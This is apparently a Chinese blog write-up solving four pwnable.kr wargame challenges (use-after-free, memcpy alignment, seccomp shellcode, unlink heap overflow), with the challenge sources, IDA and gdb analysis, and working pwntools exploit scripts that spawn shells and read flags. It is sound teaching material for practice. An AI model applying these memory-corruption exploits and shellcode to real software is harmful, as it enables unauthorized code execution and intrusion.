ღ Miranda

pwnable.kr的PWN挑战之Toddler’s Bottle(三)

pwnable.kr is a non-commercial site which provides various pwn challenges regarding system exploitation. the main purpose of pwnable.kr is fun.

refer:
https://gist.github.com/ihciah/0ca68da3e32e38818bb9
http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html
http://weaponx.site/2017/02/21/unlink-Writeup-pwnable-kr/
https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr

uaf-8pt

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;  
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;
}

这题是考察UAF(Use After Free)漏洞的题目,当应用程序调用delete释放内存时,如果内存块小于256kb,并不马上将内存块释放回内存,而是将内存块标记为空闲状态。当下次分配大小相同的内存空间时会优先使用这一块内存区域,如果某个指针被释放后仍然能使用就可能会有UAF漏洞。case 3释放了变量m, w的内存,case 2可以向释放的内存写入我们要的代码,case 1可以被用来执行我们的代码。在IDA里分析部分主函数如下:

0000000400F13                 call    _ZN3ManC2ESsi   ; Man::Man(std::string,int)
.text:0000000000400F18                 mov     [rbp+var_38], rbx
.text:0000000000400F1C                 lea     rax, [rbp+var_50]
.text:0000000000400F20                 mov     rdi, rax        ; this
.text:0000000000400F23                 call    __ZNSsD1Ev      ; std::string::~string()
.text:0000000000400F28                 lea     rax, [rbp+var_12]
.text:0000000000400F2C                 mov     rdi, rax
.text:0000000000400F2F                 call    __ZNSaIcED1Ev   ; std::allocator<char>::~allocator()
.text:0000000000400F34                 lea     rax, [rbp+var_11]
.text:0000000000400F38                 mov     rdi, rax
.text:0000000000400F3B                 call    __ZNSaIcEC1Ev   ; std::allocator<char>::allocator(void)
.text:0000000000400F40                 lea     rdx, [rbp+var_11]
.text:0000000000400F44                 lea     rax, [rbp+var_40]
.text:0000000000400F48                 mov     esi, offset aJill ; "Jill"
.text:0000000000400F4D                 mov     rdi, rax
.text:0000000000400F50                 call    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator<char> const&)
.text:0000000000400F55                 lea     r12, [rbp+var_40]
.text:0000000000400F59                 mov     edi, 18h        ; unsigned __int64
.text:0000000000400F5E                 call    __Znwm          ; operator new(ulong)
.text:0000000000400F63                 mov     rbx, rax
.text:0000000000400F66                 mov     edx, 15h
.text:0000000000400F6B                 mov     rsi, r12
.text:0000000000400F6E                 mov     rdi, rbx
.text:0000000000400F71                 call    _ZN5WomanC2ESsi ; Woman::Woman(std::string,int)
.text:0000000000400F76                 mov     [rbp+var_30], rbx
.text:0000000000400F7A                 lea     rax, [rbp+var_40]
.text:0000000000400F7E                 mov     rdi, rax        ; this
.text:0000000000400F81                 call    __ZNSsD1Ev      ; std::string::~string()
.text:0000000000400F86                 lea     rax, [rbp+var_11]
.text:0000000000400F8A                 mov     rdi, rax
.text:0000000000400F8D                 call    __ZNSaIcED1Ev   ; std::allocator<char>::~allocator()

找到Man的构造函数:

0000000400F13                 call    _ZN3ManC2ESsi   ; Man::Man(std::string,int)
.text:0000000000400F18                 mov     [rbp+var_38], rbx

这里rbp+var_38就是rbp-38:

-0000000000000038 var_38          dq ?                    ; offset

还可以看出0x400F8D地址处是m, w变量分配完内存的地址,还可以从0x400F59地址看出分配的空间大小是0x16也就是24 bytes:

.text:0000000000400F59                 mov     edi, 18h        ; unsigned __int64
.text:0000000000400F5E                 call    __Znwm          ; operator new(ulong)

其实可以直接在IDA里搜索vtable关键字,找到Manvtable:

000000000401570 off_401570      dq offset _ZN5Human10give_shellEv
.rodata:0000000000401570                                         ; DATA XREF: Man::Man(std::string,int)+24o
.rodata:0000000000401570                                         ; Human::give_shell(void)
.rodata:0000000000401578                 dq offset _ZN3Man9introduceEv ; Man::introduce(void)

gdb里查看Manvtable:

gdb-peda$ x/x $rbp-0x38
0x7fffffffe538: 0x0000000000614c50
gdb-peda$ x/x 0x614c50
0x614c50:   0x0000000000401570
gdb-peda$ x/i 0x401570
   0x401570 <_ZTV3Man+16>:  jp     0x401583 <_ZTV5Human+3>
gdb-peda$ x/x 0x401570
0x401570 <_ZTV3Man+16>: 0x000000000040117a
gdb-peda$ x/12x 0x401570
0x401570 <_ZTV3Man+16>: 0x000000000040117a  0x00000000004012d2
0x401580 <_ZTV5Human>:  0x0000000000000000  0x00000000004015f0
0x401590 <_ZTV5Human+16>:   0x000000000040117a  0x0000000000401192
0x4015a0 <_ZTS5Woman>:  0x00006e616d6f5735  0x0000000000000000
0x4015b0 <_ZTI5Woman>:  0x0000000000602390  0x00000000004015a0
0x4015c0 <_ZTI5Woman+16>:   0x00000000004015f0  0x000000006e614d33
gdb-peda$ x/i 0x40117a
   0x40117a <_ZN5Human10give_shellEv>:  push   rbp
gdb-peda$ x/i 0x4012d2
   0x4012d2 <_ZN3Man9introduceEv>:  push   rbp

这里是case 1部分的代码,调用了两个introducerax中是两个对象的虚函数表,introduce执行的是rax+8位置的代码,通过跟踪知道是introduce函数的位置,在Manvtable中可以看到introducegive_shell8 bytes:

0000000400FCD                 mov     rax, [rbp+var_38]
.text:0000000000400FD1                 mov     rax, [rax]
.text:0000000000400FD4                 add     rax, 8
.text:0000000000400FD8                 mov     rdx, [rax]
.text:0000000000400FDB                 mov     rax, [rbp+var_38]
.text:0000000000400FDF                 mov     rdi, rax
.text:0000000000400FE2                 call    rdx
.text:0000000000400FE4                 mov     rax, [rbp+var_30]
.text:0000000000400FE8                 mov     rax, [rax]
.text:0000000000400FEB                 add     rax, 8
.text:0000000000400FEF                 mov     rdx, [rax]
.text:0000000000400FF2                 mov     rax, [rbp+var_30]
.text:0000000000400FF6                 mov     rdi, rax
.text:0000000000400FF9                 call    rdx
.text:0000000000400FFB                 jmp     loc_4010A9
gdb-peda$ x/x $rbp-0x38
0x7fffffffe538: 0x0000000000614c50
gdb-peda$ x/x 0x614c50
0x614c50:   0x0000000000401570
gdb-peda$ x/i 0x401570+0x8
   0x401578 <_ZTV3Man+24>:  rcl    BYTE PTR [rdx],cl
gdb-peda$ x/x 0x401570+0x8
0x401578 <_ZTV3Man+24>: 0x00000000004012d2
gdb-peda$ x/i 0x4012d2
   0x4012d2 <_ZN3Man9introduceEv>:  push   rbp
gdb-peda$ x/x 0x401570
0x401570 <_ZTV3Man+16>: 0x000000000040117a
gdb-peda$ x/i 0x40117a
   0x40117a <_ZN5Human10give_shellEv>:  push   rbp

也就是如果把rax里的值减小0x8,那调用introduce实际上就调用了give_shell,构造payloadecho -en处理特殊字符而且不换行:

uaf@ubuntu:~$ echo -en "\x68\x15\x40" > /tmp/uaf
uaf@ubuntu:~$ cat /tmp/uaf
h@uaf@ubuntu:~$ ./uaf 24 /tmp/uaf
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning

注意这里要两次allocate,有两块内存空间需要填,不然在case 1中会有一句的内存无法访问,会报Segmentation fault错误。

memcpy-10pt

// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
        asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
    int i;
    for (i=0; i<len; i++) {
        dest[i] = src[i];
    }
    return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
    size_t i;
    // 64-byte block fast copy
    if(len >= 64){
        i = len / 64;
        len &= (64-1);
        while(i-- > 0){
            __asm__ __volatile__ (
            "movdqa (%0), %%xmm0\n"
            "movdqa 16(%0), %%xmm1\n"
            "movdqa 32(%0), %%xmm2\n"
            "movdqa 48(%0), %%xmm3\n"
            "movntps %%xmm0, (%1)\n"
            "movntps %%xmm1, 16(%1)\n"
            "movntps %%xmm2, 32(%1)\n"
            "movntps %%xmm3, 48(%1)\n"
            ::"r"(src),"r"(dest):"memory");
            dest += 64;
            src += 64;
        }
    }

    // byte-to-byte slow copy
    if(len) slow_memcpy(dest, src, len);
    return dest;
}

int main(void){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Hey, I have a boring assignment for CS class.. :(\n");
    printf("The assignment is simple.\n");

    printf("-----------------------------------------------------\n");
    printf("- What is the best implementation of memcpy?        -\n");
    printf("- 1. implement your own slow/fast version of memcpy -\n");
    printf("- 2. compare them with various size of data         -\n");
    printf("- 3. conclude your experiment and submit report     -\n");
    printf("-----------------------------------------------------\n");

    printf("This time, just help me out with my experiment and get flag\n");
    printf("No fancy hacking, I promise :D\n");

    unsigned long long t1, t2;
    int e;
    char* src;
    char* dest;
    unsigned int low, high;
    unsigned int size;
    // allocate memory
    char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    size_t sizes[10];
    int i=0;

    // setup experiment parameters
    for(e=4; e<14; e++){    // 2^13 = 8K
        low = pow(2,e-1);
        high = pow(2,e);
        printf("specify the memcpy amount between %d ~ %d : ", low, high);
        scanf("%d", &size);
        if( size < low || size > high ){
            printf("don't mess with the experiment.\n");
            exit(0);
        }
        sizes[i++] = size;
    }

    sleep(1);
    printf("ok, lets run the experiment with your configuration\n");
    sleep(1);

    // run experiment
    for(i=0; i<10; i++){
        size = sizes[i];
        printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
        dest = malloc( size );

        memcpy(cache1, cache2, 0x4000);     // to eliminate cache effect
        t1 = rdtsc();
        slow_memcpy(dest, src, size);       // byte-to-byte memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

        memcpy(cache1, cache2, 0x4000);     // to eliminate cache effect
        t1 = rdtsc();
        fast_memcpy(dest, src, size);       // block-to-block memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
        printf("\n");
    }

    printf("thanks for helping my experiment!\n");
    printf("flag : ----- erased in this source code -----\n");
    return 0;
}

要在本地编译需要安装下面的包然后编译:

apt-get install g++-multilib
gcc -o memcpy memcpy.c -m32 -lm

先尝试运行:

root@kaliSevie:~/Desktop# ./memcpy 
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy?        -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data         -
- 3. conclude your experiment and submit report     -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : 8
specify the memcpy amount between 16 ~ 32 : 16
specify the memcpy amount between 32 ~ 64 : 32
specify the memcpy amount between 64 ~ 128 : 64
specify the memcpy amount between 128 ~ 256 : 128
specify the memcpy amount between 256 ~ 512 : 256
specify the memcpy amount between 512 ~ 1024 : 512
specify the memcpy amount between 1024 ~ 2048 : 1024
specify the memcpy amount between 2048 ~ 4096 : 2048
specify the memcpy amount between 4096 ~ 8192 : 4096
ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 8
----------------- Address dest: 0x0x57ecc410 ----------------
ellapsed CPU cycles for slow_memcpy : 2295
ellapsed CPU cycles for fast_memcpy : 530

experiment 2 : memcpy with buffer size 16
----------------- Address dest: 0x0x57ecc420 ----------------
ellapsed CPU cycles for slow_memcpy : 380
ellapsed CPU cycles for fast_memcpy : 315

experiment 3 : memcpy with buffer size 32
----------------- Address dest: 0x0x57ecc438 ----------------
ellapsed CPU cycles for slow_memcpy : 605
ellapsed CPU cycles for fast_memcpy : 565

experiment 4 : memcpy with buffer size 64
----------------- Address dest: 0x0x57ecc460 ----------------
ellapsed CPU cycles for slow_memcpy : 910
ellapsed CPU cycles for fast_memcpy : 200

experiment 5 : memcpy with buffer size 128
----------------- Address dest: 0x0x57ecc4a8 ----------------
ellapsed CPU cycles for slow_memcpy : 1570
Segmentation fault

程序在fast_memcpy函数退出,打印dst地址可以发现当地址不是16的倍数时会出错:

experiment 1 : memcpy with buffer size 8
----------------- Address dest: 56a5b410 ----------------
ellapsed CPU cycles for slow_memcpy : 2115
ellapsed CPU cycles for fast_memcpy : 435

experiment 2 : memcpy with buffer size 16
----------------- Address dest: 56a5b420 ----------------
ellapsed CPU cycles for slow_memcpy : 305
ellapsed CPU cycles for fast_memcpy : 400

experiment 3 : memcpy with buffer size 32
----------------- Address dest: 56a5b438 ----------------
ellapsed CPU cycles for slow_memcpy : 465
ellapsed CPU cycles for fast_memcpy : 500

experiment 4 : memcpy with buffer size 64
----------------- Address dest: 56a5b460 ----------------
ellapsed CPU cycles for slow_memcpy : 910
ellapsed CPU cycles for fast_memcpy : 195

experiment 5 : memcpy with buffer size 128
----------------- Address dest: 56a5b4a8 ----------------
ellapsed CPU cycles for slow_memcpy : 1565
Segmentation fault

movntps指令:

movntps m128,XMM
m128 <== XMM 直接把XMM中的值送入m128,不经过cache,必须对齐16字节.

所以要构造地址为16的倍数:

memcpy@ubuntu:~$ python -c "print '8\n16\n32\n72\n136\n264\n520\n1032\n2056\n4096\n'" | nc 0 9022
...
...
...
experiment 10 : memcpy with buffer size 4096
ellapsed CPU cycles for slow_memcpy : 55743
ellapsed CPU cycles for fast_memcpy : 1644

thanks for helping my experiment!
flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt

asm-6pt

asm.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));

    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}

看了readme可以知道flag文件在asm_pwn的家目录下,需要nc 0 9026来用asm_pwn权限运行asm,看代码可以知道程序分配了0x1000的内存给sh指针,然后将这段内存清空,将寄存器清空的代码填入:

>>> from pwn import *
>>> print disasm("\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff")
   0:   48                      dec    eax
   1:   31 c0                   xor    eax,eax
   3:   48                      dec    eax
   4:   31 db                   xor    ebx,ebx
   6:   48                      dec    eax
   7:   31 c9                   xor    ecx,ecx
   9:   48                      dec    eax
   a:   31 d2                   xor    edx,edx
   c:   48                      dec    eax
   d:   31 f6                   xor    esi,esi
   f:   48                      dec    eax
  10:   31 ff                   xor    edi,edi
  12:   48                      dec    eax
  13:   31 ed                   xor    ebp,ebp
  15:   4d                      dec    ebp
  16:   31 c0                   xor    eax,eax
  18:   4d                      dec    ebp
  19:   31 c9                   xor    ecx,ecx
  1b:   4d                      dec    ebp
  1c:   31 d2                   xor    edx,edx
  1e:   4d                      dec    ebp
  1f:   31 db                   xor    ebx,ebx
  21:   4d                      dec    ebp
  22:   31 e4                   xor    esp,esp
  24:   4d                      dec    ebp
  25:   31 ed                   xor    ebp,ebp
  27:   4d                      dec    ebp
  28:   31 f6                   xor    esi,esi
  2a:   4d                      dec    ebp
  2b:   31 ff                   xor    edi,edi

由于沙盒只允许运行openreadwrite函数,所以我们可以使用x64rax, rsp寄存器存放我们需要的内容然后输出到标准输出流,可以使用pwntools生成shellcode:

from pwn import *

con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)

context(arch='amd64', os='linux')

shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

p.recvuntil('shellcode: ')
p.send(asm(shellcode))
log.success(p.recvline())
root@kaliSevie:~/Desktop# python a.py 
[+] Connecting to pwnable.kr on port 2222: Done
[*] asm@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.10.0
    ASLR:     Enabled
[+] Connecting to localhost:9026 via SSH to pwnable.kr: Done
[+] Mak1ng_shelLcodE_i5_veRy_eaSy
[*] Closed remote connection to localhost:9026 via SSH connection to pwnable.kr

unlink-10pt

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

这题用到了unlink函数的堆溢出,需要一些前提知识:https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/。拿到程序可以用gdb调试,先反编译主函数:

gdb-peda$ disassemble main

由于要利用堆溢出需要先知道堆的结构,先看主函数中这段代码:

0x08048580 <+81>:   mov    eax,DWORD PTR [ebp-0x14]
0x08048583 <+84>:   mov    edx,DWORD PTR [ebp-0xc]
0x08048586 <+87>:   mov    DWORD PTR [eax],edx

0x08048588 <+89>:   mov    edx,DWORD PTR [ebp-0x14]
0x0804858b <+92>:   mov    eax,DWORD PTR [ebp-0xc]
0x0804858e <+95>:   mov    DWORD PTR [eax+0x4],edx

0x08048591 <+98>:   mov    eax,DWORD PTR [ebp-0xc]
0x08048594 <+101>:  mov    edx,DWORD PTR [ebp-0x10]
0x08048597 <+104>:  mov    DWORD PTR [eax],edx

0x08048599 <+106>:  mov    eax,DWORD PTR [ebp-0x10]
0x0804859c <+109>:  mov    edx,DWORD PTR [ebp-0xc]
0x0804859f <+112>:  mov    DWORD PTR [eax+0x4],edx

这就对应了双向链表的建立操作,然后单步调试,仔细看edx寄存器的内容就可以知道堆的结构如下:

stack: 0xffffd654 --> 0x804b410(A)
heap: 0x804b410(A)
A: 0x804b410
B: 0x804b428
C: 0x804b440

一个chunk有24字节大小:

+-------------------+-------------------+  <- heap addr[A]
|        FD         |        BK         |
+-------------------+-------------------+  <- [A->buf]
|                   |                   |
+---------------------------------------+
|                                       |
+---------------------------------------+  <- [B]

再看源代码可以发现:

// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;

[A->buf]之后的内存空间我们可以随意填入数据,最后调用unlink(B)时会做如下操作:

unlink :
    FD->bk = BK  <=>  DWORD PTR [FD + 0x4] = BK 
    BK->fd = FD  <=>  DWORD PTR [BK] = FD

但由于之后没有别的函数调用,所以一般的堆溢出攻击方法不适用,注意看main函数的最后部分:

   0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:   leave
=> 0x08048603 <+212>:   lea    esp,[ecx-0x4]
   0x08048606 <+215>:   ret

这段代码等效于:

=> 0x80485ff <main+208>:    mov    ecx,DWORD PTR [ebp-0x4]  (ECX: 0xffffd680)
                                                            (EBP: 0xffffd668)
   0x8048602 <main+211>:    leave <=>   mov esp, ebp
                                        pop ebp
   0x8048603 <main+212>:    lea    esp,[ecx-0x4] (ESP: 0xffffd67c)
   0x8048606 <main+215>:    ret

最后esp寄存器的值就是ecx-0x4ecx的值又是ebp-0x4地址中的值,思路就是只要能最后retesp的值为shell()函数的地址就可以getshell,也就是ECX - 0x4地址处要存放shell的地址。

仔细分析栈的地址可以发现ebp-0x4的地址为题目给出的stack地址加0x10,那么思路就是只要能使DWORD PTR [stack + 0x10] = &(shell + 0x4)就可以了,再看unlink的操作,想一下怎样构造堆,由于DWORD PTR [FD + 0x4] = BK,那么FD的值为stack + 0xc

如果这样安排堆:

+-------------------+-------------------+  <- heap addr[A]
|        FD         |        BK         |
+-------------------+-------------------+  <- [A->buf]
|       shell       |       AAAA        |
+---------------------------------------+
|               AAAAAAAA                |
+---------------------------------------+  <- [B]
|   (FD)stack + 12  |                   |
+-------------------+-------------------+

那么BK的值就应该为heap + 12,这样:

unlink :
    FD->bk = BK  <=>  DWORD PTR [FD + 0x4] = BK  <=>  DWORD PTR [stack + 0x10] = heap + 0xc
    BK->fd = FD  <=>  DWORD PTR [BK] = FD  <=>  DWORD PTR [heap + 0xc] = stack + 12  #这句无用


+-------------------+-------------------+  <- heap addr[A]
|        FD         |        BK         |
+-------------------+-------------------+  <- [A->buf]
|     shell addr    |       AAAA        |
+---------------------------------------+
|               AAAAAAAA                |
+---------------------------------------+  <- [B]
|   (FD)stack + 12  |  (BK)heap + 12    |
+-------------------+-------------------+

shell.py:

from pwn import *

shell = 0x080484eb

conn = ssh(host='pwnable.kr', user='unlink', password='guest', port=2222)

p = conn.process('./unlink')

p.recvuntil("here is stack address leak: ")

stack = p.recv(10)

p.recvuntil("here is heap address leak: ")

heap = p.recv(9)

p.recvuntil("get shell!")

heap = int(heap, 16)
stack = int(stack, 16)

shellcode = ''
shellcode += p32(shell)
shellcode += 'A' * 12
shellcode += p32(stack + 12)
shellcode += p32(heap + 12)

p.send(shellcode)
p.interactive()

运行:

root@kaliSevie:~/Desktop# python shell.py 
[+] Connecting to pwnable.kr on port 2222: Done
[*] unlink@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.10.0
    ASLR:     Enabled
[+] Starting remote process './unlink' on pwnable.kr: pid 59467
[*] Switching to interactive mode

$ cat flag
$ conditional_write_what_where_from_unl1nk_explo1t

其实使用unlink的第二句也可以,堆构造为:


+-------------------+-------------------+ <- heap addr[A] | FD | BK | +-------------------+-------------------+ <- [A->buf] | shell addr | AAAA | +---------------------------------------+ | AAAAAAAA | +---------------------------------------+ <- [B] | (FD)heap + 12 | (BK)stack + 16 | +-------------------+-------------------+ unlink : FD->bk = BK <=> DWORD PTR [FD + 0x4] = BK <=> DWORD PTR [heap + 0x10] = stack + 0x10 #这句无用 BK->fd = FD <=> DWORD PTR [BK] = FD <=> DWORD PTR [stack + 0x10] = heap + 0xc

发表评论

电子邮件地址不会被公开。